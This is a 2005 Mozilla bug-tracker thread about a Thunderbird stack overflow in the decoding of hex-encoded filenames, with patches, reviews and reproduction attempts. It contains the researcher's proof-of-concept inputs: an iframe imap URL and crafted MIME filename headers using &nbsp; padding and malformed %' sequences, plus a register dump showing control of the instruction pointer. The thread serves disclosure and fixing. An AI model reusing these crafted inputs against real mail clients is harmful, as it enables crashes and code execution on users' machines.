from Peter Winter-Smith of ngssoftware.com: Hi Guys, I've found a unicode stack overflow in the process of decoding hex encoded filenames in Thunderbird. This is the test case which *I* used, but I'm sure this can be exploited in other ways: <iframe src="imap://peter@localhost:585/fetch%3EUID%3E.INBOX%3E3022?part=1.3&type=image\xml&filename=lame.gif.this.is.a.cool.picture.aaa.aaa.aaa.gif&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;aaaaabbbbbcccccdddddeeeeeff%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'"> Basically, the incorrectly formed hex encoded string, provided that it is at the end of the filename attribute, and is under the length of MAX_PATH, will recursively copy chunks of the preceding url into a stack based buffer (of MAX_PATH, I presume), and will overflow overwriting the saved return address and saved base pointer with a widechar version of the string. I am guessing there are duel pointers and the math is going bad, I haven't checked for definite yet. The image\xml tag will cause the browser to (for some reason) think that the file type is of the type Gif Image (image\gif causes the IFRAME to try and render the image, doh!). The &nbsp; 's will pad the string out past the end of the filename textbox in the download dialog, thereby hiding the filename. And the %'%'%'%' at the end of the string will cause the decoder to mess up and smash the stack with the string recursively. This example overwrites the saved return address with 0x00610061 The overflow only activates if the file is found to exist ( my example: email 3022 -- content part 1.3 -- maybe we can use external sources, or files within the same email, I haven't tried it), when the user attempts to save the file. The html code snippit can be placed in an html file and attached to the email, it automatically renders.

Apart from the overflow, a mail message has no business referencing or incorporating bits from a different message.

Here's the stack trace. "Suffix" is getting overflowed in nsLocalFile::CreateUnique NTDLL! 77f813b1() nsDebugImpl::Assertion(nsDebugImpl * const 0x02fadeb8, const char * 0x0027d1b8, const char * 0x0027d1a0, const char * 0x0027d160, int 0x00000044) line 290 nsDebug::Assertion(const char * 0x0027d1b8, const char * 0x0027d1a0, const char * 0x0027d160, int 0x00000044) line 109 nsCSubstringTuple::WriteTo(char * 0x080eb910, unsigned int 0x000000fc) line 68 + 35 bytes nsCSubstring::Assign(const nsCSubstringTuple & {...}) line 390 nsACString::Assign(const nsCSubstringTuple & {...}) line 239 nsACString::nsACString(const nsCSubstringTuple & {...}) line 465 nsLocalFile::CreateUnique(nsLocalFile * const 0x04a328d8, unsigned int 0x00000000, unsigned int 0x00000180) line 116 + 92 bytes nsExternalAppHandler::SetUpTempFile(nsIChannel * 0x080b2930) line 1571 nsExternalAppHandler::OnStartRequest(nsExternalAppHandler * const 0x080d7008, nsIRequest * 0x080b2930, nsISupports * 0x00000000) line 1611 + 17 bytes

Taking, overflows in shared file handling code.

Dan, can you give us an ETA on this one?

this was the one problem I was able to reproduce...

Comment on attachment 174541 [details] [diff] [review] fix for one crash/hang Is the problem that int(maxRootLength) can sometimes be negative? or are you concerned with maxRootLength == 0? i think the == 0 case is benign, or did i miss something?

it can be negative, which causes us to pass a negative number to SetLength, which hangs.

Comment on attachment 174541 [details] [diff] [review] fix for one crash/hang so, if it can be negative. does that mean that suffix is somehow too large? what's causing maxRootLength to be negative?

This is an alternate patch. I decided to simply make the suffix buffer smaller (max size 100), and then we can be sure that the computation of maxRootLength will never go negative. The rest of the patch is just cleanup. This patch makes it so that the max extension length is 100 (except on XP_MAC, but who cares about that, right?)

I verified this patch with a simple "unit" testcase like this: void main(int argc, char **argv) { nsCOMPtr<nsILocalFile> lf; NS_NewNativeLocalFile(nsDependentCString(argv[1]), PR_FALSE, getter_AddRefs(lf)); lf->CreateUnique(nsIFile::NORMAL_FILE_TYPE, 0600); } By inspection, the generated file's extension was appropriately limited in length.

Comment on attachment 174754 [details] [diff] [review] v2 - alternate patch Comment about how kMaxExtensionLength must be < kMaxFilenameLength - 4, and how any extension longer than 100 chars can't have a MIME type association, so it's ok to truncate it. For bonus points, change indx's type to int from short. In C and C++ it doesn't pay to use other than int for such loop control, and it can cost if the compiler doesn't analyze the loop enough to see that i won't wrap a signed short. /be

Comment on attachment 174754 [details] [diff] [review] v2 - alternate patch r=dveditz a=dveditz for the 1.7 and aviary1.0.1 branches

fixed-on-trunk, fixed1.7.6, fixed-aviary1.0.1

(In reply to comment #13) > fixed-on-trunk, fixed1.7.6, fixed-aviary1.0.1 Hi guys, Thank you all for working on this. I have one question however: Using the vulnerable version of Thunderbird, I have tried to save a file with a name of length kMaxFilenameLength of the following construction: 'aaaaaaaa....aaaa.gif' With no bad effects, however, the 224 byte string: lame.exe.gif%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%' Will cause the overflow, overwriting the saved return pointer and a large amount of the stack. Are you sure that you have fixed the correct issue? Thanks! -Peter

We're not sure we fixed the right problem, we've had trouble reproducing it. It would help us tremendously if you could retest it using a build that contains this patch. ftp://ftp.mozilla.org/pub/mozilla.org/thunderbird/nightly/2005-02-19-07-aviary1.0.1/ If you use a "Master Password" this build will most likely crash when that comes up (bug 282894). If that's the case wait a few hours for today's build. Make sure you go to a directory which says "aviary1.0.1", the others are development builds that may be unstable and contain a ton of changes from 1.0

Hi guys, Sorry the latest build only seems to add a 'report to mozilla' feature when the overflow occurs. No fix :-( I am completely certain that the filename is being passed through a hex decoder which is being messed up -- the overflow still occurs. You will almost certainly be able to repro this if you alter the url in the imap protocol handler to point to a valid file on your mailbox (for example, email 10, part 1.1 - the message body). Then save the file to your desktop (I am using window xp), the malformed hex encoded values (%'%') cause parts of the string to recurse (aaaa%'%', for example, may become aaaa%'%' aaaa%'%' aa). This recursion overflows the stack. The integer overflow doesn't even come into play. Suffix is the buffer overflowed, as far as I can see, but it isn't overflowed during the construction of a filename to save to, like you guys are working on now, it's during a decoding routine I believe :-) Thanks for working on this, sorry I can't be code specific! -Peter

Hi guys, Just send yourselves an email with an attachment with the following mime values: ------------- ------=_NextPart_07D5_02_0ECCD5A9.5329E373 Content-Type: application/x-msdos-program; name="lame.gif.this.is.a.cool.picture.aaa.aaa.aaa.gif&nbsp;&nbsp;&nbsp;& nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb sp;&nbsp;aaaaabbbbbcccccdddddeeeeeffaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&nbsp;&nbsp;foo.gif&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp ;&nbsp;%'%'%'%'%'%'%'%'%'" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="lame.gif.this.is.a.cool.picture.aaa.aaa.aaa.gif&nbsp;&nbsp;&nb sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp ;&nbsp;&nbsp;aaaaabbbbbcccccdddddeeeeeffaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&nbsp;&nbsp;foo.gif&nbsp;&nbsp;&nbsp;&nbsp;&nb sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp ;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;& nbsp;&nbsp;%'%'%'%'%'%'%'%'%'" ------------- Thunderbird will stack overflow, and we execute an arbitrary code location having overwritten the saved return address. It doesn't matter whether the filename is specified through an imap protocol handler or not, it overflows decoding hex encoded filenames however they are detected (ie: regardless of the source of the filename, be it protocol handler or just mime value) I hope this helps -- this will repro without needing that specially crafted imap protocol handler. For best results, save to your windows desktop folder under NT. Thanks! -Peter

Reopening per comments.

I hacked up a piece of mail with the info from comment 17. On tbird 1.0 I go into a busy-loop when I double-click on the attachment. ON the latest 1.0.1 build the helper app dialog comes up. If I try to save I get an invalid filename error from windows; if I "open with" notepad--which causes the file to be saved to a temporary copy--I have no problems at all. Trying the shorter name from comment 14 pretty much the same thing (hang on 1.0, OK on 1.0.1) except that windows will let me save files with that name. When you say "NT" do you really mean some old version of NT, or simply "nt family" as opposed to Win98/ME? I am testing under Windows XP SP2. Are you still using IMAP? What happens if you copy the mail to your local folders first? If that still crashes could you copy it to a brand new local folder and then attach that to this bug, or cc me on the mail, or both?

I just downloaded a nightly build of thunderbird from 21-Feb-2005 09:26 and tested with a message containing the above on an IMAP server, and I see the same thing that dveditz sees, I just get a dialog saying that the filename is invalid.

(In reply to comment #20) > I just downloaded a nightly build of thunderbird from 21-Feb-2005 09:26 and > tested with a message containing the above on an IMAP server, and I see the same > thing that dveditz sees, I just get a dialog saying that the filename is invalid. Sorry for the late reply guys, my computer had a couple of issues. I have downloaded the latest build and have a few observations: For some reason, now attaching the file as a mime-type doesn't have any ill effect when right-clicking and saving the file. I haven't been able to repro this any more through this vector. However, the following code in an html page, attached (and therefore automatically rendered by thunderbird) to an email, will still caused the stack overflow. I have tested this on a new computer with a clean install of WinXPSP1 and thunderbird. <iframe src="imap://peter@localhost:585/fetch%3EUID%3E.INBOX%3E100? part=1.1&type=image\xml&filename=lame.exe.gif%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'% '%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'% '%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'%'% '%'%'%'%'%'%'%'%'"> I am willing to bet the reason you got file not found is relating to this: /fetch%3EUID%3E.INBOX%3E100?part=1.1 in this example, I am trying to reference email 100 (E100) part 1.1 (message body), which always succeeds. Please point the "peter@localhost:585" to your imap server, and tell me your results :-) When the email is viewed, a dialog box will pop up, asking you to save the attached file. Select 'save', save as a file on the desktop. An error message containing garbage appears (as at this point the stack is well and truly damaged), and we get our overflow (whereby we control eax, and eip as 0x00270025 - unicode "%'" ): ModLoad: 71500000 715fc000 C:\WINDOWS\System32\browseui.dll ModLoad: 76990000 769b4000 C:\WINDOWS\System32\ntshrui.dll ModLoad: 76b20000 76b35000 C:\WINDOWS\System32\ATL.DLL ModLoad: 71c20000 71c6e000 C:\WINDOWS\System32\NETAPI32.dll ModLoad: 75a70000 75b15000 C:\WINDOWS\system32\USERENV.dll ModLoad: 71700000 71849000 C:\WINDOWS\System32\SHDOCVW.dll ModLoad: 76980000 76987000 C:\WINDOWS\System32\LINKINFO.dll (b34.b3c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00270025 ebx=00000000 ecx=0012a0f8 edx=7ffe0304 esi=00182008 edi=0012a97c eip=00270027 esp=0012a970 ebp=00270025 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010202 00270027 004b73 add [ebx+0x73],cl ds:0023:00000073=?? I hope this helps? I am sorry that I couldn't construct a working email to cause the overflow to send you guys, but it appears that attaching as a mime filename doesn't seem to do anything with the latest build, I was relying on that to produce a test case you all can use. -Peter

In Purify, on win2k, I get this error: LocalFree [KERNEL32.DLL] EqualRect [USER32.dll] DialogBoxIndirectParamA [USER32.dll] GetOpenFileNameW [COMDLG32.dll] nsFilePicker::ShowW(short *) [nsFilePicker.cpp:237] } else if (mMode == modeSave) { ofn.Flags |= OFN_NOREADONLYRETURN | OFN_NODEREFERENCELINKS; => result = nsToolkit::mGetSaveFileName(&ofn); if (!result) { // Error, find out what kind. if (::GetLastError() == ERROR_INVALID_PARAMETER || nsFilePicker::Show(short *) [nsFilePicker.cpp:367] NS_IMETHODIMP nsFilePicker::Show(PRInt16 *aReturnVal) { => return ShowW(aReturnVal); } NS_IMETHODIMP nsFilePicker::GetFile(nsILocalFile **aFile) I don't know if this is related, or if my test case is slightly different...and I'm not sure what the problem is, other than that windows is unhappy with the file name we're passing in.

I also just finally got Purify to like thunderbird here, and I ran it (release build, todays 1.0.1 build) with my testcase that does what's described above, and I see no problems and no complaints from Purify that anything would be wrong. I don't know what more to do here to reproduce this problem :(

Hey guys, How frustrating :-( I have tested it on two completely different boxes, both with xpsp1, and the latest version of TB and it breaks in the same way each time on both of them. Would it help if I were to create a virtual pc/vmware image and stick an imap server on it with a testcase which should break it? If this is desirable, I can't really promise any delivery times as I won't be at home for the next three weeks. Sorry it's so hard to repro, it works fine for me :-/ -Peter

How about we try to have you email me a testcase first, once I get it I'll change your login information etc to my own on the imap server, and then try to load it and see what happens here? Please email to jst@mozilla.org

Can we get an update here? Time is short for 1.7.6...

Let's go ahead and mark this as fixed for 1.0.1 based on feedback from jst, dveditz and bienvenu after testing against the v2 patch. We can spin off another bug to spend more time looking at why Peter still has problems with this message.

What about 1.7.6?

Johnny, how did the testcase work for you? if it went well, we can verify this --especially if it works using a tbird 1.0.1 nightly build, but I don't know if you need a debug build to test it...

Adding fixed1.7.6 keyword since the only patch we have for the issue we can see has been applied. Still trying to get the right conditions for reproducing a possible secondary problem.

(In reply to comment #29) > Johnny, how did the testcase work for you? if it went well, we can verify this > --especially if it works using a tbird 1.0.1 nightly build, but I don't know if > you need a debug build to test it... I was unable to see any problems with the testcase I got, and as far as I know, there is no problem. But Peter would be the person to tell for sure.

I have also sent a testcase to bugzilla-daemon@mozilla.org which may have been received by those on the list? That email is the attached html file attached to an email sent to my address. If using this testcase, please change the user specific values in the email address, such as the username, server, port and email number/part if necessary! All the best! Please let me know how this is working out! -Peter

I tried this again on the trunk, on win xp, with the test case - it behaved as before - I do get the save as dialog, but there's no overflow or crash that I can see.

(In reply to comment #33) > I tried this again on the trunk, on win xp, with the test case - it behaved as > before - I do get the save as dialog, but there's no overflow or crash that I > can see. I have just downloaded Thunderbird 1.0.2, the latest release version, and the imap.htm testcase still cause the stack buffer overrun to occur. I am not too sure why it won't repro for you guys, I've tested this with success on XPSP1 and XPSP2 on different machines with the latest version of Thunderbird. Is there anything I can do to help you locate the bug some more? Kindest regards! -Peter

Should we clear the security flag on this now?